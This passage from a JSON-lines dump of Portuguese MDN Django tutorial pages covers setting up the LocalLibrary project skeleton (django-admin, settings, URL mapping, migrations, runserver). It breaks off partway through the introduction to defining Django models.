(en-US).\n\nVeja também\n-----------\n\n* Segurança no Django (Django docs)\n* Segurança de website no lado do servidor (MDN)\n* Segurança web (MDN)\n* Protegendo seu site (MDN)\n* Anterior\n* Menu: Django\n* Próxima  (en-US)"}
{"title":"Django Tutorial Parte 2: Criando o \"esqueleto\" de um site - Aprendendo desenvolvimento web","text":"Django Tutorial Parte 2: Criando o \"esqueleto\" de um site\n=========================================================\n\n* Anterior\n* Menu: Django\n* Próxima\n\nO segundo artigo do tutorial de Django mostra uma forma de criar o \"esqueleto\" de um website, permitindo que você possa ampliá-lo com caracteristicas especificas do site, caminhos (patchs), modelos (models), visualizações (views) e templates.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | Configurar um ambiente de desenvolvimento Django. Ter lido\n Tutorial Django: Website de uma Biblioteca Local.\n  |\n| Objetivo: | \n Ser capaz de usar as ferramentas do Django para começar seus próprios\n novos projetos de websites.\n  |\n\nVisão Geral\n-----------\n\nEste artigo mostra como você pode criar o escopo de um website, permitindo popul-a-lo com características específicas do seu site, tais como configurações, paths, modelos, views e templates (nós os discutiremos em artigos que seguem à frente).\n\nO processo é direto:\n\n1. Use a ferramenta `django-admin` para criar a pasta do projeto, arquivos de template básicos, e o script de gestão do projeto (**manage.py**).\n2. Use o script **manage.py** para criar um ou mais *aplicativos*.\n\n**Nota:** Um website pode consistir de uma ou mais áreas, como por exemplo, site, blog, wiki, área de download, etc. Django te encoraja a desenvolver esses componentes como aplicativos separados, que podem então ser reutilizados em diferentes projetos, caso seja necessário.\n3. Registre os novos aplicativos para inclui-los no projeto.\n4. Conecte o mapeador de url/path para cada aplicativo.\n\nPara o website Biblioteca Local a pasta do website e a pasta do projeto terão, ambas, o nome *locallibrary*, e nós teremos apenas um aplicativo chamado *catalog*. O nível hierárquico mais alto da estrutura de pastas ficará assim:\n\n\n```bash\nlocallibrary/         # Pasta do website\n    manage.py        # Script para executara as ferramentas do Django para este projeto (criado utilizando o django-admin)\n    locallibrary/     # Pasta do project folder (criado utilizando o django-admin)\n    catalog/          # Pasta do aplicativo (criado utilizando o django-admin)\n```\n\n\nAs próximas seções discutem esse processo em detalhes e mostram como você pode testar as mudanças. No final do artigo nós discutiremos algumas das outras configurações do site como um todo, você também pode fazer isso.\n\nCriando o projeto\n-----------------\n\nPrimeiro abra o prompt de comando/terminal t(enha certeza que está em seu ambiente virtual), navegue até o diretório que deseja colocar seus aplicativos Django (coloque em um lugar fácil de achar, como dentro da pasta *documentos*), e crie uma pasta para seu novo website (nesse caso: *django\\_projects*). Acesse então a pasta usando o comando cd:\n\n\n```bash\nmkdir locallibrary\ncd locallibrary\n```\n\n\nCrie um novo projeto usando o comando `django-admin startproject`, como mostrado abaixo, e entre nessa pasta.\n\n\n```bash\ndjango-admin startproject locallibrary\ncd locallibrary\n```\n\n\nO comando `django-admin` cria uma estrutura com pastas e arquivos como a mostrada abaixo:\n\n\n```bash\nlocallibrary/\n    manage.py\n    locallibrary/\n        __init__.py\n        settings.py\n        urls.py\n        wsgi.py\n```\n\n\nNosso diretório de trabalho atual deve parecer com isso:\n```\n\n../django_projects/locallibrary/\n```\n\n\nA sub-pasta do projeto *locallibrary* será a raíz para nosso site:\n\n* **\\_\\_init\\_\\_.py** é um arquivo em branco que instrui o Python a tratar esse diretório como um pacote Python.\n* **settings.py** contém todas as definições do website. É onde nós registramos qualquer aplicação que criarmos, a localização de nossos arquivos estáticos, configurações de banco de dados etc.\n* **urls.py** define os mapeamentos de URL para visualização do site. Mesmo que esse arquivo possa conter *todo* o código para mapeamento de URL, é mais comum delegar apenas o mapeamento para aplicativos específicos, como será visto mais adiante.\n* **wsgi.py** é usado para ajudar na comunicação entre seu aplicativo Django e o web server. Você pode tratar isso como um boilerplate.\n\nO script **manage.py** é usado para criar aplicações, trabalhar com bancos de dados, e iniciar o webserver de desenvolvimento.\n\nCriando o aplicativo de catálogo\n--------------------------------\n\nAgora execute o seguinte comando para criar o *catálogo* da aplicação que fará parte de nosso projeto localibrary (o comando deve ser executado na mesma pasta que está o **manage.py** do seu projeto):\n\n\n```bash\npython3 manage.py startapp catalog\n```\n\n\n**Nota:** O comando acima é para Linux/macOS X. No windows o comando deve ser: `py -3 manage.py startapp catalog`\n\nSe você está trabalhando com o Windows, substitua `python3` por `py -3` ao longo deste módulo.\n\nSe você está usando Python 3.7.0, use `py manage.py startapp catalog`\n\nA ferramenta cria uma nova pasta e adiciona alguns arquivos para diferentes partes da aplicação (destacado em negrito abaixo). A maior parte dos arquivos é armazenada de acordo com seu propósito (e.g. views devem ser armazenadas em **views.py**, models em **models.py**, testes em **tests.py**, configurações de administração do site em **admin.py**, registro da aplicação em **apps.py**) e contém algum código mínimo para trabalhar com os objetos associados.\n\nO diretório do projeto atualizado deve parecer com esse:\n\n\n```bash\nlocallibrary/\n    manage.py\n    locallibrary/\n    catalog/\n        admin.py\n        apps.py\n        models.py\n        tests.py\n        views.py\n        __init__.py\n        migrations/\n```\n\n\nAlém disso, nós temos:\n\n* Uma pasta *migrations*, usada para guardar \"*migrações*\" — arquivos que permitem atualizar automaticamente seu banco de dados à medida que você modifica seus models.\n* **\\_\\_init\\_\\_.py** — Um arquivo em branco criado de modo que Django/Python reconheça a pasta como um Python Package e permita que você use seus objetos dentro de outras partes do projeto.\n\n**Nota:** Você notou o que falta na lista de arquivos acima? Apesar de existir um lugar para suas views e seus models, não há nenhum lugar para colocar seus mapeamentos de URL, templates ou arquivos estáticos. Nós iremos te ensinar como criá-los mais adiante (isso não é necessário em todos websites, mas precisaremos em nosso exemplo).\n\nRegistrando o aplicativo de catálogo\n------------------------------------\n\nAgora que a aplicação foi criada, iremos registrá-la com o projeto para que ela seja incluída quando qualquer ferramenta for executada (por exemplo para adicionar models para o banco de dados). Aplicações são registradas adicionando-as à lista `INSTALLED_APPS` que fica nas configurações do projeto.\n\nAbra o arquivo de configurações do projeto **locallibrary/locallibrary/settings.py** e encontre a definição para a lista `INSTALLED_APPS`. Agora adicione uma nova linha no fim da lista, como a mostrada em negrito abaixo.\n\n\n```bash\nINSTALLED_APPS = [\n    'django.contrib.admin',\n    'django.contrib.auth',\n    'django.contrib.contenttypes',\n    'django.contrib.sessions',\n    'django.contrib.messages',\n    'django.contrib.staticfiles',\n    'catalog.apps.CatalogConfig',\n]\n```\n\n\nA nova linha especifica o objeto de configuração do aplicativo (`CatalogConfig`) que foi gerado em **/locallibrary/catalog/apps.py** onde a aplicação foi criada.\n\n**Nota:** Você deve ter notado que existem vários outros `INSTALLED_APPS` (e `MIDDLEWARE`, pelo final do arquivo de configuração). Eles permitem suporte para o site de administração do Django e, como resultado, várias funcionalidades que ele utiliza (incluindo seções, autenticação etc).\n\nEspecificando o Banco de Dados\n------------------------------\n\nTipicamente, esse é o momento em que você também especifica o banco de dados que será usado no projeto— faz mais sentido usar o mesmo banco de dados tanto para desenvolvimento quanto para a produção (quando possível), a fim de evitar pequenas diferenças de comportamento. Você pode encontrar mais sobre as outras opções em Databases (Documentação Django).\n\nUsaremos o banco de dados SQLite para este exemplo porque não esperamos ter muito acesso simultâneo em um banco de dados para demonstração, e também porque ele não requer trabalho adicional de configuração! Você pode ver como o banco de dados é configurado em **settings.py** (mais informações estão incluidas abaixo).\n\n\n```python\nDATABASES = {\n    'default': {\n        'ENGINE': 'django.db.backends.sqlite3',\n        'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),\n    }\n}\n```\n\n\nJá que nós estamos usando SQLite, nós não precisamos de nenhum outro passo aqui. Vamos ir em frente!\n\nOutras configurações do projeto\n-------------------------------\n\nO arquivo **settings.py** também é usado para configurar várias outras definições, mas por ora você provavelmente quer mudar apenas a TIME\\_ZONE — deve se utilizar uma string padrão da Lista de tz time zones (a coluna TZ na tabela contém os valores que você precisa). Mude seu valor de `TIME_ZONE` para uma string relativa ao seu fuso-horário, por exemplo:\n\n\n```python\nTIME_ZONE = 'America/Sao\\_Paulo'\n```\n\n\nTem outras duas definições que você não vai mudar agora, mas que deve ficar ciente:\n\n* `SECRET_KEY`. É uma chave secreta que é usada como parte da estratégia de segurança dos websites Django. Se você não está protegendo seu código durante o desenvolvimento, você precisará usar um código diferente (que talvez seja lido de uma variável de ambiente ou arquivo) quando colocar no ambiente de produção.\n* `DEBUG`. Isto habilita a depuração de logs sejam exibidos em um erro ao invés de respostas de status de código HTTP. Isso deve ser definido como `False` na produção, já que informações de debug são úteis para invasores, mas por enquanto nós manteremos `True.`\nConectando o mapeador de URL\n----------------------------\n\nO website foi criado com um arquivo mapeador de URL (**urls.py**) na pasta do projeto. Embora você possa usar esse arquivo para gerenciar todos seus mapeamentos de URL, é mais comum fazer os mapeamentos diretamente no aplicativo associado.\n\nAbra **locallibrary/locallibrary/urls.py** e leia o texto que explica alguma formas de usar o mapeador de URL.\n\n\n```python\n\"\"\"locallibrary URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my\\_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other\\_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as\\_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\n\nurlpatterns = [\n    path('admin/', admin.site.urls),\n]\n```\n\n\nOs mapeamentos de URL são gerenciados através da variável `urlpatterns` que é uma lista Python de funções `path()`. Cada função `path()` associa um padrão de URL para uma *view específica*, que será exibida quando o padrão for correspondido, ou com outra lista de testes de padrões de URL (no segundo caso, o padrão vem da \"URL base\" para padrões definidos no módulo target). A lista `urlpatterns` define inicialmente uma função única que mapeia todas URLs com o padrão admin para o módulo `admin.site.urls`, que contém as próprias definições de mapeamento de URL da área de administração do aplicativo.\n\n**Nota:** A rota em `path()` é uma string que define um padrão de URL para correspondência. Essa string pode incluir um nome de variável (entre tags), e.g. `'catalog/<id>/'`. Esse padrão corresponderá a uma URL como **/catalog/***any\\_chars***/** e passa *any\\_chars* para a view como uma string com paramêtros nome `id`). Nós discutiremos métodos de caminho e padrões de rota ainda mais em tópicos posteriores\n\nAdicione as linhas abaixo no fim do arquivo a fim de adicionar um novo item à lista `urlpatterns`. Esse novo item inclui um `path()` que encaminha solicitações com o padrão `catalog/` para o módulo `catalog.urls` (o arquivo com a URL relativa **/catalog/urls.py**).\n\n\n```python\n# Use include() to add paths from the catalog application\nfrom django.conf.urls import include\nfrom django.urls import path\n\nurlpatterns += [\n    path('catalog/', include('catalog.urls')),\n]\n```\n\n\nAgora iremos mudar a URL raíz de nosso site (i.e. `127.0.0.1:8000`) para `127.0.0.1:8000/catalog/`; pois esse é o único app que iremos usar neste projeto. Para isso, usaremos uma função view especial (`RedirectView`), que leva como primeiro argumento a nova URL relativa para redirecionar para `/catalog/` quando o padrão URL especificado na função `path()` for chamado (a URL raíz nesse caso).\n\nAdicione as linhas abaixo, novamente no fim do arquivo:\n\n\n```python\n#Add URL maps to redirect the base URL to our application\nfrom django.views.generic import RedirectView\nurlpatterns += [\n    path('', RedirectView.as_view(url='/catalog/')),\n]\n```\n\n\nDeixe o primeiro parâmetro da função path vazio, implicando em '/'. Se você escrever o primeiro parâmetro como '/', Django irá te mostar o seguinte aviso assim que iniciar o servidor de desenvolvimento.\n\n\n```python\nSystem check identified some issues:\n\nWARNINGS:\n?: (urls.W002) Your URL pattern '/' has a route beginning with a '/'.\nRemove this slash as it is unnecessary.\nIf this pattern is targeted in an include(), ensure the include() pattern has a trailing '/'.\n```\n\n\nPor padrão, Django não \"serve\" arquivos estáticos como CSS, JavaScript e imagens, mas ele pode ser útil para o servidor web de desenvolvimento enquanto você cria seu site. Como comentário final sobre o mapeador de URL, você pode habilitar a veiculação de arquivos estáticos durante o desenvolvimento adicionando as seguintes linhas.\n\nColoque o seguinte bloco no fim do arquivo:\n```\n\n# Use static() to add url mapping to serve static files during development (only)\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n```\n\n\n**Nota:** Existem várias maneiras de estender a lista `urlpatterns` (acima nós acrecentamos uma nova lista de itens usando o operador `+=` para separar claramente o velho do novo código). Poderiamos ter apenas incluído esse novo padrão de mapeamento na definição da lista original.\n\n\n```python\nurlpatterns = [\n    path('admin/', admin.site.urls),\n    path('catalog/', include('catalog.urls')),\n    path('', RedirectView.as_view(url='/catalog/', permanent=True)),\n] + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n```\n\n\nAlém disso, incluimos a linha para importação (`from django.urls import include`) com o código que usa-o (que facilita ver o que nós adicionamos), porém, é mais comum incluir todas as linhas de import no topo do arquivo Python.\n\nFinalmente, crie um arquivo dentro da pasta catalog e dê o nome **urls.py**, adicione então o seguinte texto para definir um `urlpatterns` importado (e vazio). É aqui onde você adicionará nossos padrões enquanto desenvolvemos o aplicativo.\n\n\n```python\nfrom django.urls import path\nfrom catalog import views\n\nurlpatterns = [\n\n]\n```\n\nTestando o framework do site\n----------------------------\n\nVocê acabou de criar o escopo do site. Por enquanto o site ainda não faz nada, mas vale a pena testá-lo para garantir que nenhuma de nossas mudanças tenha criado algum problema.\n\nAntes de começarmos, devemos primeiramente executar uma *migração de banco de dados*. Isso atualiza nosso banco de dados para incluir qualquer model em nossas aplicações instaladas (e remove avisos da build).\n\n### Migrando Bancos de Dados\n\nDjango usa um Object-Relational-Mapper (ORM) que mapeia as definições de Model no código Django para a estrutura do banco de dados subjacente. Como mudamos nossas definições de model, Django localiza as mudanças e cria scripts para migração de banco de dados (em **/locallibrary/catalog/migrations/**) para migrar automaticamente a estrutura de dados subjacente no banco de dados para manter a correnpondência com o model.\n\nQuando criamos nosso website, Django adicionou automaticamente um número de models para serem usados na área admin do site (que nós veremos depois). Execute os comandos abaixo para definir as tabelas para aqueles models no banco de dados (verifique se você está no diretório que contém o arquivo **manage.py**):\n\n\n```bash\npython3 manage.py makemigrations\npython3 manage.py migrate\n```\n\n\n**Aviso:** **Importante**: Você precisará executar os comandos acima sempre que alterar seus models de uma forma que afete a estrutura de dados que precisa ser armazenada (incluindo adição e remoção de todos models e campos individuais).\n\nO comando `makemigrations` *cria* (mas não aplica) as migrações para todos aplicativos instalados em seu projeto (você pode especificar o nome do aplicativo para executar apenas uma migração para um único projeto). Isso te permite checar o código para essas migrações antes delas serem aplicadas — quando você é experiente em Django, você pode escolher ajustá-los um pouco!\n\nO comando `migrate` aplica as migrações em seu banco de dados (Django rastreia quais foram adicionados ao banco de dados atual).\n\n**Nota:** Leia Migrations (Documentação Django) para informações adicionais sobre os comandos de migração menos usados.\n\n### Testando o website\n\nDurante o desenvolvimento você pode testar o website usando o *webserver de desenvolvimento*, e vê-lo em seu navegador local.\n\n**Nota:** O web server de desenvolvimento não tem performance ou desempenho suficiente para uso em produção, mas é uma maneira bem fácil de atualizar seu website Django e utilizá-lo durante o desenvolvimento para conseguir um teste rápido e conveniente. Por padrão, o site é \"hospedado\" em seu computador local (`http://127.0.0.1:8000/)`, mas você também pode especificar que outros computadores da rede acessem-o. Para mais informações acesse django-admin and manage.py: runserver (Documentação Django).\n\nExecute o *web server de desenvolvimento* com o comando `runserver` (no mesmo diretório de **manage.py**):\n\n\n```bash\npython3 manage.py runserver\n\n Performing system checks...\n\n System check identified no issues (0 silenced).\n August 15, 2018 - 16:11:26\n Django version 2.1, using settings 'locallibrary.settings'\n Starting development server at http://127.0.0.1:8000/\n Quit the server with CTRL-BREAK.\n```\n\n\nCom o servidor funcionando, você pode ver seu site colocando o endereço `http://127.0.0.1:8000/` em seu navegador local. Você deve ver uma página de erro como essa:\n\n![Django Debug page for Django 2.0](/pt-BR/docs/Learn/Server-side/Django/skeleton_website/django_404_debug_page.png)\n\nNão se assuste! Essa página de erro é esperada, pois nós não temos nehuma página ou url definida no módulo `catalogs.urls` (que é para onde somos redirecionados quando usamos a URL para a raíz do site).\n\n**Nota:** A página acima demontra um ótimo recurso do Django — o log de depuração automatizado. Uma tela de erro será exibida com informações referentes ao erro sempre que uma página não consiga ser encontrada, ou caso o código tenha algum erro. Nesse caso poderemos ver que a URL que nós fornecemos não corresponde a nenhum de nossos padrões de URL (como listado). O log será desativado durante a produção (quando colocamos nosso site online na WEB), nesse caso uma página menos informativa (porém, mais amigável ao usuário) será exibida.\n\nNo momento basta saber que o Django está funcionando!\n\n**Nota:** Você deve executar novamente as migrações e testar o site sempre que fizer alguma mudança significante. Não demora muito!\n\nDesafio\n-------\n\nO diretório **catalog/** contém arquivos para views, models, e outras partes da aplicação. Abra esses arquivos e inspecione o bolierplate (códigos incluídos em muitos lugares com pouca ou nenhuma alteração).\n\nComo você viu acima, um mapeamento de URL para o site Admin já foi adicionado no arquivo **urls.py** do projeto. Vá à área do admin em seu navegador e veja o que acontece (você pode deduzir a URL correta para o mapeamento acima).\n\nSumário\n-------\n\nVocê acabou de criar um \"esqueleto\" para websties, agora você pode popular o site com URL's, models, views e templates.\n\nComo o escopo para o website Local Library está completo e executando, é hora de começar a escrever códigos que farão o website realizar sua função.\n\nVeja também\n-----------\n\n* Codificando seu primeiro app Django - parte 1 (Documentação Django)\n* Aplicativos (Documentação Django). Contém informações de como configurar aplicativos.\n* Anterior\n* Menu: Django\n* Próxima"}
{"title":"Tutorial Django Parte 3: Usando models - Aprendendo desenvolvimento web","text":"Tutorial Django Parte 3: Usando models\n======================================\n\n* Anterior\n* Menu: Django\n* Próxima\n\nEste artigo mostra como definir os modelos para o website LocalLibrary. Ele explica o que é um modelo, como ele é declarado e mostra algum dos principais tipos de campo. Ele também mostra brevemente algumas das principais formas pelas quais você pode acessar dados do modelo.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | Django Tutorial Part 2: Criar um esqueleto de um site. |\n| Objetivo: | \n Ser capaz de projetar e criar seus próprios modelos, escolhendo os\n campos de forma apropriada.\n  |\n\nVisão Geral\n-----------\n\nAplicativos Django acessam e gerenciam dados através de objetos Python chamados de modelos (models). Modelos definem a *estrutura* dos dados armazenados, incluindo os tipos de campos e possivelmente também o seu tamanho máximo, valores default, opções de listas de seleção, texto de ajuda para documentação, texto de labels para formulários, etc. A definição do modelo é independente do banco de dados - você pode escolher um tipo de banco como parte das configurações do seu projeto. Uma vez que você tenha escolhido qual banco será utilizado você precisa conversar diretamente com ele - você somente escreve a estrutura do seu modelo e outros códigos, e o Django faz todo o trabalho sujo de comunicação com o banco para você.\n\nEste tutorial mostra como definir e acessar os modelos para o website LocalLibrary website.\n\nProjetando os modelos para o website LocalLibrary\n-------------------------------------------------\n\nAntes de começarmos a criar nossos modelos, vale a pena perder alguns minutos pensando sobre os dados que iremos guardar e as relações entre os diferentes modelos que serão criados.\n\nSabemos que precisamos armazenar informação sobre os livros (título, resumo, autor, idioma, gênero, ISBN) e também que existem várias cópias do mesmo livro na biblioteca (com um id único, status de disponibilidade, etc.). Talvez queiramos armazenar mais informações sobre o autor além de somente seu nome, até porque existem vários autores com o mesmo nome, ou com nomes parecidos. Queremos ordernar a busca dos livros por título, autor, idioma e gênero.\n\nQuando estamos projetando nossos modelos, faz sentido criar modelos separados para cada \"objeto\". Em nosso caso de estudo, os \"objetos\" são os livros (a informação de cada livro, não a cópia em si), as cópias dos livros (um livro pode ter mais de uma cópia) e os autores.\n\nVocê pode também utilizar modelos para representar opções em uma lista de seleção (por exemplo numa lista suspensa), o que é melhor do que trabalhar com opções predefinidas — isso é recomendado quando nem todas as opções são conhecidas ou podem mudar de acordo com um filtro. Obviamente, para nosso tutorial, modelos candidatos para esse caso são o gênero e o idioma.\n\nApós decidirmos nossos modelos e campos, precisamos pensar no relacionamento dessas informações. Django permite que você defina relações que são um pra um (`OneToOneField`), um pra muitos (`ForeignKey`) e muitos pra muitos (`ManyToManyField`).\n\nCom isso em mente, os diagramas UML de associação, mostram abaixo os modelos que definiremos nesse caso (como caixas).\n\n![LocalLibrary Model UML](/pt-BR/docs/Learn/Server-side/Django/Models/local_library_model_uml.png)\n\n Como acima, criamos modelos para `Book` (que contém os detalhes genéricos do livro),\n `BookInstance` (contém os status das cópias físicas e específicas dos livros disponíveis no sistema) e `Author`. Também decidimos ter um modelo para o gênero (`Genre`), para que os valores possam ser criados/selecionados através da interface administrativa. Decidimos não ter um modelo para o `BookInstance: status` - pois, codificamos os valores em (`LOAN_STATUS`) porque não esperamos que isso mude. Dentro de cada uma das caixas você pode ver o nome do modelo, os campos nomes e tipos e também os métodos e seus tipos de retorno.\n\nO diagrama também mostra as relações entre os modelos, incluindo suas multiplicidades. As multiplicidades são os números no diagrama que mostram as quantidades (máxima e mínima) que cada modelo pode estar presente nos relacionamentos. Por exemplo, a linha que conecta as caixas mostra que `Book` e um `Genre` estão relacionados. Os números próximos ao modelo `Genre` mostram que um livro deve ter um ou mais gêneros (ou quantos você quiser), enquanto os números do outro lado da linha, ao lado do modelo `Book` mostram que um gênero pode ter zero ou muitos livros associados.\n\n**Nota:** A próxima seção fornece uma explicação básica sobre como os modelos são definidos e usados. Ao ler sobre isso, considere como vamos construir cada um dos modelos conforme o diagrama acima.\n\nModel primer\n------------\n\nEsta seção fornece uma breve visão sobre como um modelo é definido e alguns dos mais importantes campos e argumentos dos campos.\n\n### Definição do Modelo\n\nModelos são geralmente definidos no arquivo **models.py** em uma aplicação. Eles são implementados como subclasse de `django.db.models.Model`, e podem incluir campos, métodos e metadados. O fragmento de código abaixo, mostra um modelo \"típico\", chamado `MyModelName`:\n```\n\nfrom django.db import models\n\nclass MyModelName(models.Model):\n    \"\"\"Uma típica classe definindo um modelo, derivada da classe Model.\"\"\"\n\n    # Campos\n    my_field_name = models.CharField(max_length=20, help_text='Enter field documentation')\n    ...\n\n    # Metadados\n    class Meta:\n        ordering = ['-my_field_name']\n\n    # Métodos\n    def get_absolute_url(self):\n        \"\"\"Retorna a url para acessar uma instancia específica de MyModelName.\"\"\"\n        return reverse('model-detail-view', args=[str(self.id)])\n\n    def __str__(self):\n        \"\"\" String para representar o objeto MyModelName (no site Admin).\"\"\"\n        return self.my_field_name\n```\n\n\nNas seções abaixa, exploraremos detalhadamente cada um dos recursos dentro do modelo:\n\n#### Campos (Fields)\n\nUm modelo pode ter um número árbitrário de campos, de qualquer tipo — cada um representa uma coluna de dados que queremos armazenar em uma de nossas tabelas de banco de dados. Cada registro do banco de dados (row - linha) consitirá em um valor de cada campo. Vamos ver o exemplo visto acima:\n\n\n```python\nmy_field_name = models.CharField(max_length=20, help_text='Enter field documentation')\n```\n\n\nNosso exemplo acima tem um único campo chamado `my_field_name`, do tipo `models.CharField` - o que significa que este campo conterá strings de caracteres alfanuméricos. Os tipos de cada campo são atribuídos usando classes específicas, que determinam o tipo de registro usado para armazenar os dados no banco de dados, juntamente com os critérios de validação a serem usados quando os valores são recebidos de um formulário HTML (ou seja, o que constitui um valor válido). Os tipos de cada campo também podem receber argumentos que especifiquem como o campo é armazenado ou pode ser usado. Neste caso, estamos dando ao nosso campo dois argumentos:\n\n* `max_length=20` — Afima que o valor máximo do comprimento desse campo é de 20 caracteres.\n* `help_text='Enter field documentation'` — fornece um rótulo de texto para exibir uma ajuda para os usuários saberem qual valor fornecer, quando esse valor é inserido por um usuário por meio de um formulário HTML.\n\nO nome do campo é usado para se referir a ele em consultas e modelos. Os campos também têm um rótulo, que é especificado como um argumento `(verbose_name)` ou inferido ao capitalizar a primeira letra do nome da variável do campo e substituindo quaisquer sublinhados por um espaço (por exemplo, `my_field_name` teria um rótulo padrão de `My field name`).\n\nA ordem em que os campos são declarados afetará sua ordem padrão, se um modelo for representado em um formulário (por exemplo, no site Admin), embora isso possa ser substituído.\n\n##### Argumentos comuns de um campo\n\nOs seguintes argumentos são comuns e podem ser usados quando declaramos muitos ou a maioria dos diferentes tipos de campos:\n\n* help\\_text: Fornece um rótulo de texto para formulários HTML (por exemplo, no site admin), conforme descrito acima.\n* verbose\\_name: Um nome legível para o campo usado nos rótulos de campo. Se não for especificado, o Django irá inferir o nome detalhado do campo `name`.\n* default: O valor padrão para o campo. Isso pode ser um valor ou um objeto que pode ser chamado. Cada vez que o objeto for chamado será criado um novo registro.\n* null: Se for `True`, o Django armazenará valores em branco como `NULL` no banco de dados, para campos onde isso é apropriado (um `CharField` irá armazenar uma string vazia). O padrão é `False`.\n* blank:Se for `True`, o campo poderá ficar em branco nos seus formulários. O padrão é `False`, o que significa que a validação de formulário do Django forçará você a inserir um valor. Isso é frequentemente usado com `null = True`, porque se você permitir valores em branco, também desejará que o banco de dados possa representá-los adequadamente.\n* choices: Um grupo de escolhas para este campo. Se isso for fornecido, o padrão widget de formulário correspondente será uma caixa de seleção com essas opções, em vez do campo de texto padrão.\n* primary\\_key:Se `True`, define o campo atual como a chave primária do modelo (uma chave primária é uma coluna especial do banco de dados, designada para identificar exclusivamente as diferentes tabelas) . Se nenhum campo for especificado como a chave primária, o Django adicionará automaticamente um campo para essa finalidade.\n\nExistem muitas outras opções - você pode ver a lista completa de opções aqui.\n\n##### Tipos comuns de um campo\n\nA lista a seguir descreve alguns dos tipos de campos mais usados.\n\n* CharField é usado para definir um tamanho fixo (médio a curto) para a string. Você deve especificar o `max_length (tamanho máximo) para o dado que será armazenado.`\n* TextField é usado para grandes strings de comprimento variado. Você pode especificar um `max_length` (tamanho máximo) para o campo, mas isso é usado somente quando o campo é exibido em formulários (forms) (ele não é imposto no nível do banco de dados).\n* IntegerField é um campo para armazenar números inteiros e para validar valores inseridos como números inteiros em formulários.\n* DateField e DateTimeField são usados para armazenar / representar datas e informações de data / hora (como os objetos Python `datetime.date` in e `datetime.datetime`, respectivamente). Esses campos também podem declarar os parâmetros (mutuamente exclusivos) `auto_now = True` (para definir o campo para a data atual toda vez que o modelo é salvo), `auto_now_add` (para definir a data em que o primeiro modelo foi criado) e `default` (para definir uma data padrão que pode ser substituída pelo usuário).\n* EmailField é usada para armazenara e validar em endereço de email.\n* FileField e ImageField são usados para carregar arquivos e imagens respectivamente, (o `ImageField` simplesmente valida de forma adicional que o arquivo enviado é uma imagem). Eles têm parâmetros para definir como e onde os arquivos enviados são armazenados.\n* AutoField é um tipo especial de `IntegerField` que é incrementada automaticamente. Uma chave primária desse tipo é adicionada de forma automatica ao seu modelo, se você não especificar explicitamente um.\n* ForeignKey é usado para especificar um relacionamento um-para-muitos com outro modelo do banco de dados (por exemplo, um carro tem um fabricante, mas um fabricante pode fazer muitos carros). O lado \"um\" do relacionamento é o modelo que contém a \"chave\" (os modelos que contêm uma \"chave estrangeira\" referem-se a essa \"chave\" e estão no lado \"muitos\" de tal relacionamento).\n* ManyToManyField é usado para especificar um relacionamento muitos-para-muitos (por exemplo, um livro pode ter vários gêneros e cada gênero pode conter vários livros). Em nosso aplicativo de biblioteca, usaremos isso de maneira muito semelhante às `ForeignKeys`, mas elas podem ser usadas de maneiras mais complicadas para descrever as relações entre os grupos. Eles têm o parâmetro `on_delete` para definir o que acontece quando o registro associado é excluído (por exemplo, um valor de `models.SET_NULL` simplesmente definiria o valor como `NULL`).\n\nExistem muitos outros tipos de campos, incluindo campos para diferentes tipos de números (big integers, small integers, floats), booleanos, URLs, slugs, unique ids e outras informações \"relacionadas ao tempo\" (duração, tempo, etc.) . Você pode ver a lista completa AQUI.\n\n#### Metadados (metadada)\n\nVocê pode declarar o nível de modelo para os metadados declarando `class Meta`, como mostrado.\n\n\n```python\nclass Meta:\n    ordering = ['-my\\_field\\_name']\n```\n\n\nUm dos recursos mais úteis desses metadados é controlar a ordem padrão dos registros retornados, quando você consulta o tipo de modelo. Você faz isso especificando a ordem de correspondência em uma lista de nomes para ordenar (`ordering`) o atributo , conforme mostrado acima. A ordem dependerá do tipo de campo (os campos de caractere são classificados em ordem alfabética, enquanto os campos de data são classificados em ordem cronológica). Como mostrado acima, você pode prefixar o nome do campo com um símbolo de menos (-) para inverter a ordem de classificação.\n\nEntão, como exemplo, se optássemos por ordenar livros como este por padrão:\n\n\n```python\nordering = ['title', '-pubdate']\n```\n\n\nOs livros seriam classificados em ordem alfabética por título, de A-Z e depois por data de publicação dentro de cada título, do mais recente ao mais antigo.\n\nOutro atributo comum é `verbose_name`, um nome detalhado para a classe no singular e plural:\n\n\n```python\nverbose_name = 'BetterName'\n```\n\n\nOutros atributos úteis permitem que você crie e aplique novas \"permissões de acesso\" para o modelo (as permissões padrão são aplicadas automaticamente), permitem a ordenação com base em outro campo ou declarar que a classe é \"abstrata\" (uma classe base que você não pode criar registros, e em vez disso, serão derivadas para criar outros modelos).\n\nMuitas das outras opções de metadados controlam qual banco de dados deve ser usado para o modelo e como os dados são armazenados (eles são realmente úteis somente se você precisar mapear um modelo para um banco de dados existente).\n\nA lista completa de opções de metadados pode ser encontrada aqui: Opções de modelos de metadados (Django docs).\n\n#### Métodos\n\nUm modelo também pode ter métodos.\n\n**Minimamente, em cada modelo você deve definir o método de classe padrão do Python `__str__()` para retornar uma string legível para cada objeto.** Essa sequência é usada para representar registros individuais no site de administração (e em qualquer outro lugar que você precise se referir a uma instância de modelo). Muitas vezes isso retornará um campo de título ou nome do modelo.\n\n\n```python\ndef \\_\\_str\\_\\_(self):\n    return self.field_name\n```\n\n\nOutro método comum a incluir nos modelos do Django é o `get_absolute_url()`, que retorna uma URL para exibir registros de modelos individuais no site (se você definir esse método, o Django adicionará automaticamente um botão \"View on Site\" às telas de edição de registros do modelo o site Admin). Um padrão típico para `get_absolute_url ()` é mostrado abaixo.\n\n\n```python\ndef get\\_absolute\\_url(self):\n    \"\"\"Retorna o URL para acessar uma instância específica do modelo.\"\"\"\n    return reverse('model-detail-view', args=[str(self.id)])\n```\n\n\n> \n> 